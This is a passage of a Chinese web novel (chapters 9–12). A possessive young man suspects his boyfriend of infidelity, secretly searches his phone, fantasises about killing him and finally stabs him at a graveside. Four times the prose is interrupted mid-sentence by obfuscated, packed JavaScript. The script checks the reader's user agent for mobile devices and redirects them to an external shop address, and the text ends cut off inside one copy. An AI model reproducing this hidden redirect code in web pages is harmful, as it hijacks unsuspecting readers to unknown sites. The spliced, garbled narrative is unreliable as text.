对方几乎是秒回:[哇,竟然回复我了。] 文字后面跟着一个夸张的惊喜卖萌表情。 小网黄又道:[当然确定,我还有和他的视频呢,你要看看嘛,私密拍摄的哦,当时他还要走了一份呢~] 一瞬间,似乎有黑色的羽翼在他身边无休止地膨胀,就好像乌云压境般阴沉厚重的云层,层层叠叠,遮蔽天日,像蚕茧一样淹没了整片世界,淹没了他。 那双黑色的眼睛里,阴郁的气息如同诅咒似的闪过。 [60:给我看看,我可以付费。] 9. 第9章 小网黄很爽快,立刻就没职业操守地把视频卖给他,也没像开盒哥那样多嘴半句废话。 可陆拾迟迟没有点开。 那张面孔上隐隐有幽暗的情绪浮动,衬得皮肤愈发白皙,但最终那些情绪化作一片诡谲的深沼,沉入漆黑的双眸中。 周予安似乎在准备什么,空气里飘来一点食物的香气,很淡,像是烤面包或者加热了什么速食。 陆拾像幽灵一般,轻飘飘地飘到厨房门口。 周予安背对着他,似乎在做简单的煎蛋。 闻起来很香,看起来也很好吃,但他全无食欲。 他悄无声息地伸出手臂,从背后轻轻环住了周予安的腰,把脸贴在后背上,隔着柔软的织物,能感受到对方身体的温度和微微的起伏,“……周予安。” 周予安应了一声,手上的动作没停,“嗯?” “你还有……”他的声音低柔下来,“什么瞒着我的事情吗?” 周予安关掉炉火,煎蛋发出滋滋的余响,然后转身。 陆拾松开手,后退了半步,看着周予安的脸,看着那熟悉又温柔的脸孔。 深棕色的头发柔软,一双蜜糖般的眼睛望着他,仿佛要驱散他心中的阴霾。 周予安看着他,竟然真的点了点头。 一时间,他只觉得好搞笑,轻轻地问,“瞒着我什么事情?” 他一瞬不瞬地盯着周予安,想要看他的表情有没有说谎。 一个冰冷而清晰的念头,在脑子里悄然成形。 如果周予安向他坦白这件事,他也会杀了周予安。 他不动声色地瞄到放在一旁的刀具。 那是他很少用的厨刀,刀柄离他不远,刀刃在窗外的天光下反射着冷冽的光。 此时,他居然感到异乎寻常的平静,像在审判一件与己无关的事情,像变成了一名只用听从命令的刽子手。 “我瞒着你我要提前去公司入职的事情,”周予安终于开口,语气寻常,“时间就定在下周。” “我还没来得及告诉你呢,下周开始可能就比较忙了。” 陆拾愣在原地。 这个答案和他预想的相去甚远。 他盯着周予安的脸,试图找出任何一丝撒谎的蛛丝马迹,但周予安的表情坦然,眼神也很清澈,看不出什么破绽。 “除了这件事,”陆拾没有放松警惕,“还有其他的吗?” 他需要确认这是否就是全部,或者说,这是否是周予安愿意坦白的全部。 周予安回答:“没有了。” 他暂时将捅死周予安的念头熄灭,但那灰色的余烬却想要死灰复燃。 “那你认为我们……”他认真地问,“是什么关系?” 周予安笑笑,牵起他的手,掌心温热干燥,“你说呢?” 没等他回答,周予安稍稍用力,双手扶住他的腰,微微一托,就把他抱到了厨房岛台上。 陆拾坐在上面,视线忽然比站着的周予安高出一些,他晃了一下,连忙用手撑住台面。 周予安站在他面前,仰头望着他,又把他的手贴在自己脸旁,脸颊温热,皮肤细腻,他看着陆拾的眼睛,清晰地说: “你是我喜欢的人,确认关系的恋人,我以前从来没和谁有过这样的关系。因为一场雨,让你我相遇,就像是命运的指引。” 低头看着周予安仰视自己的脸,看着那双琥珀色眼睛里自己的倒影,他抿了抿唇,问: “那么,在我之前有过纯粹的肉/体关系吗?比如一个人太寂寞,压力太大,所以随便找个人暂时过夜之类的。” “如果有就说出来吧,我可以理解的。” ——骗你的,才不会理解。 周予安显然没料到他会问这个,脸上的表情一怔,眉头微微抽动: “为什么这么问?” 陆拾:“回答我。” 这关乎他是否要重新拾起刚才压下去的念头,关乎他要不要立即抽出刀子捅死周予安。 他想要爱,纯粹的爱,毫无保留的爱。 如果不按照他的标准爱他,那就去死吧。 周予安看着他骤然变得锐利的眼神,认真回答,“当然没有。” 语气很肯定,没有迟疑。 周予安又问了一遍,“你怎么会这么想?” “最好别骗我。”陆拾忽而一笑,“实话实说,我可以不杀你。不然,就像我说过的……我会杀了你。” 那张面孔上的表情忽而变得明媚,甚至可以说得上灿烂,唇红齿白,就连黑沉的瞳孔也泛起柔软的波澜,如同早春解冻的湖水。 可话语中却像藏了刀子,冷冷地、慢慢地刮过人心。 周予安没有因为这句话退缩,轻轻摩挲着陆拾的手背,动作温柔: “我不会骗你。” 像是一个关于未来的承诺,而不仅仅是对过去的否认。 早餐在沉默中结束。 “我还有些入职资料要准备,”周予安收拾好餐具,擦干净手,语气温柔,“需要先回去准备。” 陆拾点点头,没说话。 周予安看了他一眼,似乎想说什么,但最终只是伸手,很轻地揉了揉他的头发: “晚点联系你。” 然后,他拿起挂在门边的外套,穿戴妥当后离开。 房间里又只剩下陆拾一个人,阳光洒满半间客厅,一切都整洁得过分,也安静得过分。 他打开手机,点开网黄发过来的小视频,加载的圆圈转了几秒后,视频开始播放。 尽管早有准备,或者说,尽管心里已经预设了最坏的可能性,他还是被画面冲击到了。 画质竟然是高清的,背景是一间灯光暖昧、陈设普通的卧室。 一张属于周予安的脸清晰地出现在镜头前,五官、轮廓、身高和体型都和他记忆里的人别无二致。 只是表情不同,带着一种他从未在周予安脸上见过的、沉迷而放纵的神色。 周予安和另外的人很快纠缠在一起,做出各种不可描述的事情。画面摇晃,喘息和呻/吟声通过扬声器传出来,混杂着污言秽语。 陆拾看着,漆黑的眸子一眨不眨,手机屏幕的光映在他脸上,一片惨白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159753|196589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。但那张脸却面无表情,甚至没有愤怒的扭曲,只有一片空白的冷郁。 胃里一阵翻搅,早餐的东西几乎要涌上来。 他忽然想用刀,用任何能找到的东西,把周予安切开、剁碎,让那人再也无法用那张脸做出这样恶心的事情,说出欺骗人的话语,又说爱他。 但就在这股毁灭性的冲动将将冲破理智之前,另一个声音在他脑子里响起:万一这是AI加工的视频呢? 现在技术这么发达,天衣无缝的换脸视频不是不可能。 如果有人故意伪造,想要陷害周予安?万一他又错怪了周予安呢? 就像之前误会芬尼尔那样,如果因为一个真假难辨的视频就变得冲动,做出无法挽回的事情,又要怎么办呢? 他想起周予安仰视他时清澈的眼睛,想起落在手背上的吻,想起那些真挚甜蜜的话语。 然后他意识到,自己似乎总是在给周予安找借口。 宛如喷泉似的情绪被勉强堵了回去,慢慢沉淀静止,又被一种更加有条理的决心取代。 他需要证据,确凿的证据。 首先,他要找个机会去周予安的家里,翻手机查电脑。 如果这个视频是真的,如果周予安真的和网黄有瓜葛,甚至买了视频,那么这种见不得光的东西一定会藏在某个地方。 如果能找到原视频,找到购买记录,找到任何相关的聊天记录或痕迹,那么他就能判处周予安死刑了。 陆拾难得沉住气,照常生活,甚至强迫自己像往常那样直播了一次,尽管状态奇差,弹幕说什么他都懒得看。 直到两天后,周予安主动发来了消息,是很平常的问候,问他这两天怎么样,有没有好好吃饭。 他盯着手机屏幕看了很久,聊了几句之后,切入正题。 [60:对了,我给你买了一瓶香水,味道很适合你。我去你家吧,正好带过去。] 周予安当然同意了,立刻把详细的地址和门牌号发了过来。 他没有精心打扮,只是换了身干净利落的衣服,戴了个普通的黑色口罩,又拿着事先准备好的香水礼袋,沿着长街慢慢走着。 身形修长笔挺,黑发和黑口罩遮住了他脸上大半的神色,看起来冷淡,也很不好接近。 刚站在楼下,他就看见周予安的身影,便把手里包装好的香水递过去。 周予安接过去,表情开心又有点懊恼,“我都没给你买什么礼物。” 语气真诚,像是真的在为这件事感到抱歉。 他看着这副毫无破绽的、温柔体贴的模样,在心里冷笑一声,却弯起眼睛,说出早就准备好的台词: “只要你爱我,就是最好的礼物。” 声音带着微微的磁性,又轻又低柔。 周予安脸上的懊恼像冰雪般消融,眼睛里漾起细密的温柔,“走吧,上去坐,这是你第一次来我家里呢。” 他跟在周予安身后半步,看着那道背影,口罩遮盖下的嘴唇紧紧抿着。 可是,他想,你真的爱我吗? 真的像我爱你一样,爱着我吗? 10. 第10章 电梯再次打开,迎面是熟悉的走廊和熟悉的那扇门。 周予安掏出钥匙,打开12层的房门,侧身让开,“进来吧。” 陆拾走进去,只见地面光洁照人,客厅宽敞明亮,茶几上摆着切好的水果,有橙子、草莓和葡萄,旁边还放着几包没拆封的零食。 周予安示意他脱掉衣服,让他在沙发上坐下,自己则去厨房倒水。 环视四周,装修风格简洁现代,色调以浅灰和米白为主,电视柜上放着一个相框,里面是周予安和一对中年夫妇的合影,应该就是他的父母。 照片上的周予安笑容温和,但奇怪的是,他却总觉得哪里不对劲。 没等他细想,周予安就端着两杯果汁回来,在他身旁坐下。 他的视线从相框上收回,状似随意地问: “叔叔和阿姨也经常过来吗?” 他在想,如果真的要杀死周予安,会不会立刻被他爹妈知晓,引来不必要的麻烦。 周予安顺着他的目光看向那张合影,表情平静: “他们在外地工作,这段时间都不会回来。” 他点点头,啜饮一口果汁。 嗯,放心了。 接下来的半小时,他们像普通情侣一样聊天。周予安说起即将入职的公司,语气里带着对新生活的期待。他偶尔附和几句,心里却在盘算别的事情。 聊得差不多了,周予安提议: “要不要看看别的房间?” 陆拾点头,他正需要这个机会搜集信息。 他们先看了主卧,床铺整洁,衣柜关着,床头柜上面只放着一盏台灯和一本书。 然后是书房,这是陆拾重点观察的地方。书房面积不大,靠墙摆着书架,上面摆放着专业书籍和几本小说。书桌一尘不染,放着一台合着的笔记本电脑,旁边摆着笔筒和几份文件。 他走过去,假装好奇地看了看那些文件,是一些简历复印件和公司资料,“这就是你要去的公司?” “是啊,”周予安回答,“可惜入职以后不能每天陪你了。” 陆拾的手指拂过笔记本电脑的外壳,又注意到书桌抽屉都关着,没有上锁。 逛完一圈,他心里有了数。 最可能藏有证据的地方,就是手机和笔记本电脑。 手机随身带着,电脑在书房。书房离客厅有一段距离,相比之下,手机更容易得手。 “我出来的时候没注意,手机没电了,”回到客厅后,他低头看了一眼手机,故意露出懊恼的表情,“有充电线借我用用吗?” 周予安没有怀疑,起身去卧室找充电线。几分钟后,他拿着一条通用的充电线回来,帮陆拾插在沙发旁的插座上。 看到充电指示灯闪烁,他又看向周予安,语气像在撒娇,“好无聊啊,你的手机借我玩一会儿吧?” 他注意着对方细微的表情变化,可周予安的表情没有丝毫异常。 周予安很自然地拿出手机,解锁,然后递给他: “给你。” 顺利接过手机,他心里反而更加警惕,觉得这可能是周予安的伪装。 如果真的有什么见不得人的东西,要么会拒绝,要么会提前删除干净。 虽然这样想,他还是低头开始翻看周予安的手机。 屏幕上是简洁的桌面,他先点开社交软件,装着样子浏览了一圈。 好友列表很短,聊天记录也很干净,大多是工作或学业相关的对话,感觉被清理过了一样。他特别查看了隐藏的动态和私密相册,但什么都没有。 接着他点开文件管理器,文档、图片、视频、下载……他都逐一点开。 文档大多是PDF和Word,看标题都是学术资料或公司文件。图片很少,主要是一些无关紧要的截图。 最后是视频文件夹。 他的心跳微微加快,沉静片刻,他点进去,里面只有三个视频。 第一个是几分钟的城市夜景,看样子是随手拍的。 第二个是某次课堂录制的讲座片段。 第三个则是—— 陆拾的手指悬在屏幕上。 第三个视频的缩略图是黑的,文件名是一串乱码,时长有一个半小时,与小网黄给他发的视频时长基本吻合。 就在他正要按下播放键的时候,一只手忽然从身后伸过来,轻轻抚过他的脖颈。 那只手温热,指尖划过他颈侧的皮肤,带着暧昧的气息。 他抬头,对上了一双近在咫尺的琥珀色眼眸。 周予安不知何时坐到了他身边,挨得很近,正微微倾身看着手机屏幕,表情很平静,甚至带着些许好奇,仿佛真的只是凑过来看看他在玩什么,问: “看什么呢,这么入迷?” 手机屏幕上,视频缩略图依旧漆黑一片,像一只不祥的恶魔眼睛。 他毫不犹豫道:“在看这个视频。” 周予安点点头,没有流露出半分急躁的情绪。 在这样的注视下,他点击播放视频,先是黑屏,随即屏幕上出现了几个大字。 哦,原来是一部很老的电影。 周予安笑吟吟地问:“你喜欢看这种电影吗?” “谈不上喜不喜欢,”他回答,“如果无聊,可能会点开看,看到困了就上床睡觉。” “还想了解关于我的什么?”周予安问,“其实你问,我就会告诉你。” “还想翻翻你的相册,”他晃了晃手机,屏幕也跟着晃动,“看看你有没有什么丑照。” 周予安的视线从屏幕移到他脸上,那双眼睛细小的温柔如碎浪浮动,“那你要失望了。” 他笑笑,没心思接话,只觉得心里空落落的,而他并不知道缘由。 周予安忽然又问,“为什么不开心?” 那张脸庞上,错愕的神色一闪而逝。 他以为自己掩饰得很好,从进门到现在,他说话的语气和脸上的笑容,都经过了刻意调整,比上次有进步多了。 “我哪有不开心?”他立刻反驳,“我第一次来你家里,开心还来不及。” 周予安静静看着他,神情专注,仿佛极尽关心,“我能感觉到。” 他垂下眼睛,长长的睫毛遮住眼底的神色,做出一个有些低落的表情。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159754|196589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我只是,”陆拾停顿片刻,像是难以启齿,声音也低了下去,“不开心你要入职了。” “陪我的时间会变少,而我们才刚确认关系。” 这样的虚伪令他感到尤为恶心,仿佛他也变成了自己讨厌的那种人,那种戴着面具虚与委蛇的人。 应该立刻动手了结周予安,而不是装模作样玩扮演游戏。 说到底,他为什么要这样做? 为什么要找证据,为什么要缜密周全,为什么要虚与委蛇? 为什么,为什么,为什么? 陆拾扪心自问,却没有找到答案,于是想要杀掉周予安的心急剧膨胀起来,黑色的羽翼再次将他包裹笼罩,催促着他现在就杀死面前这个人。 周予安看着他低垂的脑袋和微微抿起的嘴唇,沉默片刻,“真的吗?” 他在心里冷笑。 周予安又有什么资格,问他真的还是假的呢? 那张温柔俊秀的脸在他眼前逐渐模糊,直到他什么都看不见了,周围所有的景象都被翻搅成一片灰白色,只有他和眼前某个模糊黯淡的点,连成一根紧绷的弦。 空气变得冰冷滞涩,边缘锋利如钢刀,硬生生割进他的嗓子里,划破温热的喉管,流下绮艳的鲜血。 …… “陆拾?” “陆拾。” 他听到有人在叫他,眼前才渐渐变得清晰起来,映入眼帘的是一张略显担忧的脸。 这时他才发现自己的膝盖正抵住沙发,身体前倾,跨坐周予安身上,左手撑在周予安脑袋旁边,另一只手掐着对方的脖子,正用力收紧着。 周予安似乎有些搞不清状况,但脸上并没有出现预想中的惊慌、恐惧或愤怒,甚至没有试图挣扎或推开他。 相反,在短暂的错愕之后,周予安的喉结滚动,声音有些低哑,“陆拾……我有反应了。” 陆拾的身体瞬间僵住,那股熊熊燃烧的烈火也陡然熄灭,手上松了力道。 他意识到两人身体紧贴的姿势和话语里暗含的意思,立刻就想起身,可周予安环住了他的腰。 那双素来温和的眼睛里,有什么东西在缓缓升腾而起。 “我喜欢这样,”周予安贴着他的耳朵,声音如火焰灼烧,“想要更多的你。” 周予安的手按住他的背脊,令两人之间的距离消弭殆尽。 温热暧昧的呼吸声洒在他的耳畔,撩动他的发丝,令他的心尖也为之一颤。手指拂过他的耳垂,继而拨动耳钉,动作极尽亲密。 可他只觉得这一切都很费解,简直像个天大的玩笑。 这算什么? 不是刚才自己还在想杀人的事情吗,怎么断片之后,就变成投怀送抱了? 他垂下眼眸,浓密卷翘的睫毛倾覆,眼神冷硬如坚冰。 静了片刻,他硬生生抵着周予安的胸膛,推离了几寸距离,然后说: “别在今天,别在这里。” 周予安微微蹙眉,“抱歉,是我——” “你不用因此道歉,”他打断道,“你没有做错什么。” 当然不用道歉,反正他会杀了周予安。 11. 第11章 他晃了晃,想要从周予安的身上下去,却反而摩擦到了什么东西。 霎时间,他的脸颊就可疑地烧红了,眼神像柳絮那样乱飞,就是不看对方。 可恶的周予安! 顾不得什么杀人计划,顾不得什么搜查证据,他直接跳起来,那双黑沉的眼眸低垂着,转身就走,把周予安的声音遥遥抛在了身后。 简直称得上落荒而逃,悻悻而归。 回到家,反锁上门,陆拾背靠着冰冷的门板滑坐到地上。 这时他才感觉到膝盖上传来的疼痛,卷起裤腿看了一眼,皮肤上泛着微微的青紫,应该是刚才不小心磕到的。 但这疼痛远不及混乱和懊恼来得尖锐,来得汹涌。 怎么就逃了呢? 为什么偏偏在那种时候,周予安一句话,一个眼神,一个不合时宜的生理反应,就让他方寸大乱? 像个演砸了的小丑,在最重要的舞台上落荒而逃。 他烦躁地揉了揉头发,把脸埋进膝盖里。 不行,不能就这么算了。 他强迫自己冷静下来,复盘今天发生的一切。 手机没查完,被周予安打断了,电脑根本就没碰,唯一的收获就是确定周予安死了以后,不会立刻被父母发现。 他起身在客厅里走来走去,脑子里乱糟糟的,一晚没睡。 直到窗外天色泛起灰白,他依旧毫无睡意,脑子因为极度疲惫和持续的思考,变得有些迟钝和飘忽。 就在这种混沌的状态里,一个被他忽略的细节却如同暗夜中的一点微光,忽然闪现轮廓。 哦,那部从垃圾袋里翻出来的旧手机。 当时他只以为是周予安淘汰的旧物,随手丢在垃圾袋里。 可如果是周予安用过的旧手机,里面会不会残留着什么秘密? 陆拾立刻从床上弹起来,在客厅角落里翻找出那部黑色的手机。 一大早,天刚蒙蒙亮,他就出了门,找到最近的一家手机维修店,店面很小,老板是个中年男人,正在吃早饭。 “老板,”陆拾把旧手机放在柜台上,声音沙哑,“能恢复里面的视频资料吗?开机都开不了。” “数据恢复得看具体情况,损坏不严重的话有可能。”老板拿起手机,又看了他一眼,大概是被他鬼一样的状态惊到了,没多问,“放这儿吧,下午来取。不一定能成啊,先说好。” 陆拾留下联系方式,走出维修店,又拿出自己的手机,看到几条来自周予安的未读消息。 时间从昨晚他逃跑后不久开始,断断续续发了几条。 [是我吓到你了?] [对不起,是我没把握好分寸。] [到家了吗?早点休息。] 最新的一条是十分钟前发的。 [今天还好吗?] 陆拾懒得回复,锁了屏,把手机塞回口袋里。 他不知道该回什么。 发疯?质问?还是继续演戏? 一切都无聊透顶。 在等结果的期间,他充分利用时间,在已经知晓的杀人方式基础上,又不知疲倦地汲取着新的知识。 他在脑子里模拟,用什么工具,攻击哪个部位,用多大力度,会造成什么后果,如何清理现场,如何延缓被发现的时间。 每一步都幻想在周予安的身上实践。 直到疲惫感如同一块湿海绵捂住了他的口鼻,30小时未睡的后果开始显现,他头痛欲裂,视线都变得模糊。 中午睡了两三个小时后,他醒来,摸过床头的手机,又看到周予安给他发的消息。 [Hay:这是我现学的。] 下面附了一张图片。 是一张俯拍的照片,背景是周予安家的厨房。台面上摆着几个盘子,里面是简单的菜肴,有煎得金黄的鸡翅,翠绿的炒青菜,还有一碗看起来热气腾腾的汤。 摆盘不算精致,但能看出用心。 陆拾看着这张照片,沉默片刻,手机屏幕的光亮映着他没什么表情的脸。 然后他动了动手指,打字回复。 [60:好棒。] 周予安几乎秒回。 [Hay:是我想做给你的。] [60:谢谢。] 好烦啊。 细小的火苗燎上心头,混着疲惫、烦躁和更深沉的厌恶。 他真想删除联系人,或者直接拉黑,眼不见为净,可又怕打草惊蛇。 况且结果还没出来呢。 他已经为此做了这么多,产生了沉没成本,已然无法轻易割舍。 陆拾干脆把屏幕扣在床头,翻个身,用被子蒙住头,试图幼稚地用物理手段隔绝一切。 但事与愿违。 即使没有声音,周予安依旧像一层薄薄的蛛网,黏腻地笼罩着他。 他知道周予安可能还在发消息,那些温柔体贴的、充满歉意的话语,像无声的潮水,试图渗透进来。 终于他还是掀开被子,坐起来,重新拿起手机。 [Hay:我去你家里吧,希望你不会感到冒犯。] 这b怎么这么烦? 他被打败了,只好耐着性子回复。 [60:我没有生气,不是故意不理你,只是心有点乱,等下午再说吧。] 下午,他成功取回了恢复数据的手机,在附近找了一个没什么人的小公园,坐在一张偏僻的长椅上查看。 然后他成功找到了网黄发给他的、一模一样的小视频。 他静静地看着,像在看一部与自己毫无关系的劣质影片,里面的污言秽语却像细针般的扎入耳朵里。 视频播放完了,屏幕暗下去。 公园里的风吹过来,带着青草和尘土的味道。 所以不是AI合成,不是小网黄造谣,也不是认错人,陆拾想。 这次他不可能错怪周予安了。 * 陆熠坐在沙发里,膝盖上放着笔记本电脑,屏幕上是两人的聊天记录。 聊天记录不长,但他来回看了好几遍,每一条消息,每一个表情符号,他都反复琢磨。 属于人类的、新鲜而汹涌的情感体验,让他完全沉浸在一种近乎眩晕的幸福感里,只觉得陆拾回复的每个字都值得回味。 他感觉自己又被陆拾原谅了,虽然他还未曾知晓陆拾昨天举止反常的缘由。 终于可以用这个身份,和陆拾在一起了。 好幸福。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159755|196589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他靠在沙发里,不自觉地扬起唇角。 可能珀露姆的本质也是得寸进尺,刚哄好陆拾,他就不满足于现状了。 他关掉聊天记录界面,打开浏览器,又在搜索栏里输入了关键词。页面跳转,屏幕上呈现着琳琅满目的图片,全都是设计各异的戒指,在灯光下闪烁着光芒。 刚谈起恋爱没几天,他都开始在网上浏览婚戒了。 看着那些精致华美的戒指,他的脑子里想的却是陆拾的手,骨节分明,皮肤很白,指甲修剪得整齐干净。 如果戴上戒指,肯定会很好看。 应该选什么款式? 简约的?还是带一点设计的?尺寸大概是多少? 他需要想办法量一下,或者直接带陆拾去试。 又是一阵思念与幻想涌入脑海。 明明才分开不到一天,明明早上还发了消息。 但这种想要见到陆拾,想要触碰,想要确定对方完全属于自己的渴望,却如此强烈。 他退出珠宝网站,又打开了几个烹饪教学视频的页面。 发给陆拾的那张饭菜照片,其实是他折腾了很久的成果。 说实话,他根本不会做饭,还是变成人类后现学现卖的。 人类的食物对他来说并非必需品,但陆拾需要。要和陆拾长久生活在一起,就不能应付了,需要好好照顾对方的身体。 他正计划着明天去超市采购哪些食材,下次见面时可以做给陆拾尝尝,手机忽然震动了一下。 消息的内容让他脸上的笑容凝固了。 [60:我们分手吧。] [60:本来就不可能有结果的,一切都是我的一厢情愿罢了。] [60:我不怪你,但我又不确定,也许我应该怪罪于你。] 浸泡在庞然的困惑中,陆熠来不及细想,手指已经按下了拨号键,想要直接打电话问清楚。 听筒里传来等待接通的嘟声,一声,两声,然后通话被挂断了。 他立刻切回聊天界面,想要追问,想要挽回,想要弄明白到底发生了什么。 [Hay:什么叫没有结果?我们不是刚刚开始吗?] 消息发送出去,旁边却立刻出现了一个刺眼的红色感叹号,下面跟着一行系统提示:消息发送失败,请先添加对方为好友。 * 黄昏时分,天色阴沉。后院那座刻着“陆熠”的墓碑旁,泥土翻新。 陆拾穿着一件并不适合干脏活的印染大衣,站在那里,脚边是一个新挖出来的坑,长度和深度都足够容纳一名成年男性躺进去。 坑洞边缘的泥土湿润,带着被翻动后的新鲜土腥味。 风丝丝缕缕地往衣服里钻,但他似乎感觉不到冷,只是安静地看着那个坑,又或是透过坑,看着别的什么。 然后他听见了脚步声,由远及近。 他没有立刻回头,等那脚步声靠近了些,几乎到了身后,陆拾才缓缓地转身,毫不意外地看到周予安有些慌乱的模样。 他看着面前的周予安。 那张白皙的脸庞毫无血色,可嘴唇却很红润。 黑沉沉的瞳孔里忽而闪出一点阴郁的灰色,如同此刻的天空,又比那还要冷冽。 12. 第12章 站在几步之外,周予安看着陆拾,他有很多话想问。 为什么分手? 可他刚要张嘴,声音还未传播到空气中,就看到陆拾的睫毛颤了颤,宛如脆弱易折的蝶翼。 泪水从眼角很慢地顺着脸颊无声滚落,在瑟瑟的冷风中,折射出一点微弱的水光。 陆拾自己似乎没察觉,依旧那样平静看着他。 于是所有的质问都卡在喉咙里。 他走过去,缩短了两人之间的距离,抹去陆拾脸上的泪水。 触感湿润,又泛着微凉。 “怎么又哭了?”他轻轻地问,“明明是你不想要我了。” 陆拾的视线落在周予安脸上,又好像没有焦距一般空洞,“我想啊。” “我很想和你在一起。那天下雨,我很冷,心情也很低落。因为我觉得自己犯了一个错误,又不知道错在哪里。” 他陷入回忆中,黑色的睫毛如同绸缎般的,泛着点点水光。 “落到脸上的根本分不清是泪水,还是雨水。”他继续说,“我只当那是雨水。” 陆拾忽然后退了一步,躲开了周予安还放在他颊边的手,又用袖子胡乱地抹了抹眼角。 “这也是雨水,”他偏过头,声音硬邦邦的,“我才不会因为你哭。” 可是分明没下雨。 现在的天空只是阴沉,虽然天气预报说会有雨,但此时还没有雨滴落下。 “告诉我原因,可以吗?”周予安的语气恳切,“到底发生了什么?” “原因?”他回答道,“我受够了欺骗,仅此而已。” “我没有欺骗你,”周予安立即说,“陆拾——” 但他打断了未尽的话语。 “我以为你和其他人是不同的。”他的目光钉在周予安脸上,“可实际上,你和那个王总也都是一样的人。” “王总?”周予安皱眉,“我不认识他。” 周予安看起来很困惑,深棕色的发丝被风吹拂,俊美脸庞上的表情真挚又焦急。 “只是你比他年轻,”他轻轻地叹息,“比他会伪装,比他拥有更迷惑人心的皮囊。” “我不知道什么王总,”周予安摇头,“是不是有什么误会?” “那就不知道吧。”他笑笑,“你也不需要知道。” 反正已经无法挽回了。 更令他憎恨的是,直到现在他还觉得周予安的气质温柔,干净得令他想哭。 周予安踩着泥土和弯折的青草,直接环住了陆拾的腰,将他整个人拢进怀里。 而这次陆拾没有阻止,任由周予安抱着,感受到隔着衣料传来的体温和微微急促的心跳。 冷风吹过,带着泥土和草木的味道,飞到更远的彼处。 除了泥土和草木之外,他还嗅到了一股清冽的香气,像雪后松林,干净澄澈,却又带着一丝荡漾的温柔暖意。 陆拾辨认出了这味道,“是我送你的香水吗?” 周予安的手臂紧了紧,声音就在他耳边响起: “是,我很喜欢。” “果然很配你呢,” 他轻轻一笑,语气里是近乎温柔的认同,“会让我想起雨天里……一把浅灰色的伞。” 那是他们相遇的开始。 “可是——” 陆拾话音一转。 变故陡生。 腹部传来一阵尖锐冰冷的刺痛,像一道闪电劈开周予安的意识,他闷哼一声,身体控制不住地剧烈颤抖起来。 他低头,看到陆拾的手紧紧握着一把刀的刀柄,银亮的刀刃已经有大半截捅进了他的腹部。 鲜红的液体顺着刀身与皮肉的交界处迅速涌出,浸透了浅灰色的衣服,晕开一大片刺目的暗红。 温热的,粘稠的,又带着一丝罕见的甜味。 陆拾盯着周予安的表情,黑色的瞳孔中似有潮湿的雾气弥散开来,化作悲伤的云霭。 他想起初遇时的心动,想起偷窥跟踪的刺激,想起怀疑的心碎,最终一切都归于沉寂。 沉静片刻,他推开了因为剧痛而浑身发软、几乎要瘫倒的周予安,又抽出刀子。 周予安踉跄着后退,鲜血汩汩流出,每一步都牵扯出撕裂般的痛苦。他勉强站稳,一只手捂住伤口,指缝霎时被温热的液体浸透。 陆拾站在原地,手里还握着那把刀,刀尖滴着血,落入泥土中,转瞬被吸收殆尽。 他的眼睛一点点红起来,像也染了血,呼吸变得粗重,平静的面具彻底碎裂,几乎是喊了出来: “可是你为什么要招惹我?!” 陆拾忽然咯咯笑起来,明艳的耳坠随着动作一摇一闪,黑发凌乱地垂落在眉眼之上。 “你是大骗子,”他的声音化作无比邪恶的怨毒,“你令我感到恶心!” 周予安喘息着,无法说出任何辩驳的话语。 “和网黄约/炮,”他握着刀的手气得发抖,又向前逼近一步,刀尖直指周予安,“你是蠢猪吗?” “他妈的,我比那个小网黄咖位大多了,你约了个什么烂人?!” 周予安靠着身后冰冷的墓碑,勉强支撑着不让自己倒下,看着几步之外情绪失控的他,琥珀色的眼眸里充满了复杂的情绪。 而他读不懂那些情绪。 他只是看着周予安倒下,看着血不断从对方腹部的伤口涌出,然后拿着刀子,烦躁地走来走去,眼神混乱而焦躁,像底层代码土崩瓦解的程序。 他觉得哪里不对,但捅死周予安的场景就在他面前,又觉得很合情合理。 到底哪里不对劲? 为什么他还是止不住哭泣? 走了几圈,他猛地停下,转头看向气息微弱的周予安。 “啊,”他发出一声不耐烦的叹息,舔了舔嘴唇,“想不明白,真是烦死了。” 好烦,全都毁灭吧。 他像终于找到了一劳永逸的解决方法,语气变得轻快从容,“既然如此,干脆再捅你一刀好了。” 他快步走回周予安面前,蹲下身,眼里闪着泪光,黑色的睫毛也变得分外柔软。 “噗嗤”一声响起。 又是利器刺入皮肉的声音。 刀尖从另一个角度,又捅进了周予安的腹部。这次的位置偏上一些,靠近肋骨。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 